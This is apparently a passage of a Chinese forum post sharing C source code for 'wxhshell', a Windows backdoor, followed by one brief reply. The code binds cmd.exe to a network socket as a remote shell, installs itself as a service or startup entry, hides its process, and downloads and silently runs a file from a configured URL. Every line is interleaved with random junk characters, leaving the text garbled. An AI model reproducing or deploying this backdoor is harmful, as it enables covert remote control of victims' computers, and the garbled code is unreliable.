  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J].Oxch&y  
  else $-}&RW9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?{ N,&d  
  } Az&>.*  
  else { jH< #)R  
1&|]8=pG7  
    switch(cmd[0]) { {DRk{>K,  
  $aV62uNf  
  // 帮助 V|8'3=Z=  
  case '?': { UxGu1a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <tD,Uu{P  
    break; O] @E8<?^  
  } j'D%eQI,V  
  // 安装 WXy8<?s  
  case 'i': { ~*HQPp?v  
    if(Install()) w"j>^#8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8A#,*@V[  
    else ~CNB3r5R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @G4Z  
    break; W_W!v&@E=  
    } NiZfaC6V  
  // 卸载 Rl Oy,/-<  
  case 'r': { 2:38CdkYp  
    if(Uninstall()) g(@F`W[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Hx}.?1  
    else e9{ii2M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ VT)  
    break; |'h (S|  
    } L/i'6(="  
  // 显示 wxhshell 所在路径 z@,pT"rb  
  case 'p': { 1SExl U  
    char svExeFile[MAX_PATH]; 7kLu rv  
    strcpy(svExeFile,"\n\r"); )ros-d p`  
      strcat(svExeFile,ExeFile); LCivZ0?|X  
        send(wsh,svExeFile,strlen(svExeFile),0); v \:AOY'  
    break; jZA1fV  
    } tm~9XFQ<  
  // 重启 0>28o.  
  case 'b': { ;/Hr ZhOE  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "*bLFORkq'  
    if(Boot(REBOOT)) zG9FO/@av  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cXq9k!I%  
    else { L^JU{\C  
    closesocket(wsh); QLJ\>  
    ExitThread(0); `=(<!nXJx  
    } 1aAOT6h  
    break; ~O}r<PQ  
    } D_l$"35?  
  // 关机 2j-l<!s  
  case 'd': { A%^?z.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ctP+ECH  
    if(Boot(SHUTDOWN)) n9Fq^^?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); evyjHcCx  
    else { f Fi=/}  
    closesocket(wsh); Xh8U}w<k6  
    ExitThread(0); SoziFI  
    } G<CD 4:V  
    break; #:?:gY<  
    } BZ?w}%-MO  
  // 获取shell JN8Rh  
  case 's': { tj;47UtH  
    CmdShell(wsh); y4kn2Mw;  
    closesocket(wsh); 7J);{ &x9h  
    ExitThread(0); bW`nLiw}%  
    break; wq?"NQ?O<  
  } iHv+I~/  
  // 退出 e|tx`yA  
  case 'x': { 7m#EqF$P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); E-WpsNJ)X  
    CloseIt(wsh); lf=G  
    break; <WUgH6"  
    } PhAfEsD  
  // 离开 jRsl/dmy  
  case 'q': { Tb] 7# v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); z};|.N}  
    closesocket(wsh); ja9u?UbW  
    WSACleanup(); ]!TE  
    exit(1); bPTtA;u  
    break; dk7x<$h-h0  
        } H,D5)1Uu  
  } JZ}zXv   
  } Q&I #  
Uh0g !zzp  
  // 提示信息 }XUL\6U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wqG#jC!5  
} &k'<xW?x  
  } ,u}wW*?,sT  
+ E{[j  
  return; B 2NIV7  
} ^li3*#eT  
G&h@  
// shell模块句柄 6$OmOCA%  
int CmdShell(SOCKET sock) uihH")Mo  
{ kI"9T`owR  
STARTUPINFO si; lW"0fZ_x'E  
ZeroMemory(&si,sizeof(si)); ;gL{*gR]S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; GJdL1ptc  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T`^Jw s{;7  
PROCESS_INFORMATION ProcessInfo; k;cIEEdZD  
char cmdline[]="cmd"; oLkzLJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @tSB^&jUWu  
  return 0; (g@X.*c8  
} 8Y-*rpLy  
Z,p@toj'  
// 自身启动模式 /,S VG1  
int StartFromService(void) qUfoEpW2=6  
{ GLIY!BU<C  
typedef struct )&E]   
{  3*Q=)}  
  DWORD ExitStatus; - "zW"v)\  
  DWORD PebBaseAddress; ;'Hu75ymo  
  DWORD AffinityMask; r\QV%09R  
  DWORD BasePriority; E q4tcZ  
  ULONG UniqueProcessId; #6a!OQj  
  ULONG InheritedFromUniqueProcessId; l[~$9C'ji  
}   PROCESS_BASIC_INFORMATION; @|cHDltH  
E-1u_7  
PROCNTQSIP NtQueryInformationProcess; Z;N3mD+\ye  
.RmFYV0,  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ekY)?$v3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6*B%3\z)  
GPni%P#a@0  
  HANDLE             hProcess; ts<\n-f  
  PROCESS_BASIC_INFORMATION pbi; rV\G/)xL  
UB+~K/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kxJs4BY0  
  if(NULL == hInst ) return 0; [ PN2^  
q0q-Coh>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?Sh"%x  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )o:sDj`b]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8N)Lck2PR  
Cgln@Rz  
  if (!NtQueryInformationProcess) return 0; G(?1 Urxi  
dfAw\7v/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); l1kHFeq  
  if(!hProcess) return 0; <r <{4\%}  
p5qfv>E8)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &_]G0~e  
;1yF[<a  
  CloseHandle(hProcess); ,~,q 0PA7J  
!\|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9{3_2CIL  
if(hProcess==NULL) return 0; [f\Jcjc  
dLGHbeZ[(  
HMODULE hMod; J;<dO7j5  
char procName[255]; QDj%m%Xd  
unsigned long cbNeeded; X*MK(aV3  
Z^Um\f   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Z796;qk  
rRe^7xGe7  
  CloseHandle(hProcess); s[a\m,  
G0m$bi=z  
if(strstr(procName,"services")) return 1; // 以服务启动 CT_tJ  
v6DjNyg<x  
  return 0; // 注册表启动 >l8?B L  
} qi/k`T  
/tG as  
// 主模块 S@!_{da  
int StartWxhshell(LPSTR lpCmdLine) q{G8 Po$z'  
{ }fk3a9j9u  
  SOCKET wsl; gFuK/]gzI  
BOOL val=TRUE; QxPPgn7'  
  int port=0; VOC$Kqg;  
  struct sockaddr_in door; @C^x&Sjm  
SVZ@'X\[M  
  if(wscfg.ws_autoins) Install(); F#yn'j8  
P c&dU1  
port=atoi(lpCmdLine); ,<!*@xy7v  
lH?jqp  
if(port<=0) port=wscfg.ws_port; >Q<XyAH~  
_\yR/W~  
  WSADATA data; 4Th?q{X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %}H 2  
6:S, {@G  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MCTJ^g"D  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D^>d<LX  
  door.sin_family = AF_INET; zqrqbqK5R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8ZbXGQ  
  door.sin_port = htons(port); 1!V[fPJ  
\15'~ ]d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g]JJ!$*1  
closesocket(wsl); Z" H;t\P  
return 1; *tT}N@<%  
} PA803R74  
<uBRLe`)  
  if(listen(wsl,2) == INVALID_SOCKET) { huA?*fat   
closesocket(wsl); #b&tNZ4!_  
return 1; w%TrL+v  
} sZ&6g<8#y  
  Wxhshell(wsl); ts(u7CJd  
  WSACleanup();  wT19m  
_1Rw~}O  
return 0; 4D n&+=fq  
t zd#9 #  
} Z5oDj|&l}  
:sK4mRF  
// 以NT服务方式启动 s* u1n+Zq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z JcX-Z!\  
{ ( ./MFf  
DWORD   status = 0; f?^-JZ  
  DWORD   specificError = 0xfffffff; dZIbajs'  
r?Mf3U^G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PfU\.[l$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #>KiX84  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LHx ")H?,  
  serviceStatus.dwWin32ExitCode     = 0; 2!}F+^8'P  
  serviceStatus.dwServiceSpecificExitCode = 0; 3 eF c  
  serviceStatus.dwCheckPoint       = 0; @=AQr4&  
  serviceStatus.dwWaitHint       = 0; Vb#a ,t  
At<MY`ka  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H-&27?s^  
  if (hServiceStatusHandle==0) return; T<>B5G~%  
]!!?gnPd5  
status = GetLastError(); 4Zu1G#(zP  
  if (status!=NO_ERROR) @i(9k  
{ 451.VI}MR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 68bvbig  
    serviceStatus.dwCheckPoint       = 0; Kv!:2br  
    serviceStatus.dwWaitHint       = 0; ;p~!('{P  
    serviceStatus.dwWin32ExitCode     = status; MYb^G\K  
    serviceStatus.dwServiceSpecificExitCode = specificError; /kyO,g$9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H;_Ce'oU(  
    return; 6W1+@ q  
  } V&ETt.91Ft  
B%u[gNZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +J{ErsG?6P  
  serviceStatus.dwCheckPoint       = 0; 1E||ft-1i*  
  serviceStatus.dwWaitHint       = 0; '{~[e**  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  WvF{`N  
} /'.gZo  
uUx7>algF  
// 处理NT服务事件,比如:启动、停止 >G"fMOOkW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IQC[ewk  
{ S-\wX.`R1  
switch(fdwControl) FsO-xG"@"  
{ KI#v<4C$P  
case SERVICE_CONTROL_STOP: >Q(\vl@N=  
  serviceStatus.dwWin32ExitCode = 0; 5Hj/7~ =  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @+zWLq!1pB  
  serviceStatus.dwCheckPoint   = 0; W //+[  
  serviceStatus.dwWaitHint     = 0; hTO 2+F*  
  { Va.TUz4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Md>C!c  
  } yc9!JJMkH  
  return; nG5\vj,zB  
case SERVICE_CONTROL_PAUSE: 3t.!5 L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; v4E=)?  
  break; 'l\PL1  
case SERVICE_CONTROL_CONTINUE: Hci>q`p#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; iNl<<0a  
  break; Z R=[@Oi  
case SERVICE_CONTROL_INTERROGATE: 2uT6M%OC  
  break; UE5,Ml~X  
}; ";&PtLe  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YwY?tOxBe  
} OMmfTlM%  
HH6H4K3Zj  
// 标准应用程序主函数 =,ax"C?pR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kk<%VKC  
{ qHe H/e%`V  
'^WR5P<8c  
// 获取操作系统版本  (t5y$b c  
OsIsNt=GetOsVer(); &@{`{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dVMl;{  
Ca?w"m~h  
  // 从命令行安装 sl$y&C-  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^Lfwoy7R  
ZBY}Mz$  
  // 下载执行文件 L3Y2HZ  
if(wscfg.ws_downexe) { C^'r>0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /<[_V/g[t?  
  WinExec(wscfg.ws_filenam,SW_HIDE); ZHeue_~x4  
} Uv.Xw}q  
X1}M_h %  
if(!OsIsNt) { ?(B}w*G~  
// 如果时win9x,隐藏进程并且设置为注册表启动 "38<14V  
HideProc(); O"TVxP:  
StartWxhshell(lpCmdLine); S=V  
} ,-EN{ed  
else Z|UVH  
  if(StartFromService()) *wmkcifF;  
  // 以服务方式启动 AIQ {^:  
  StartServiceCtrlDispatcher(DispatchTable); {U3jJ#K  
else \pK&gdw  
  // 普通方式启动 ?Q=(?yR0]  
  StartWxhshell(lpCmdLine); am.d^'  
./7-[d  
return 0; x~Z7p)D_<  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五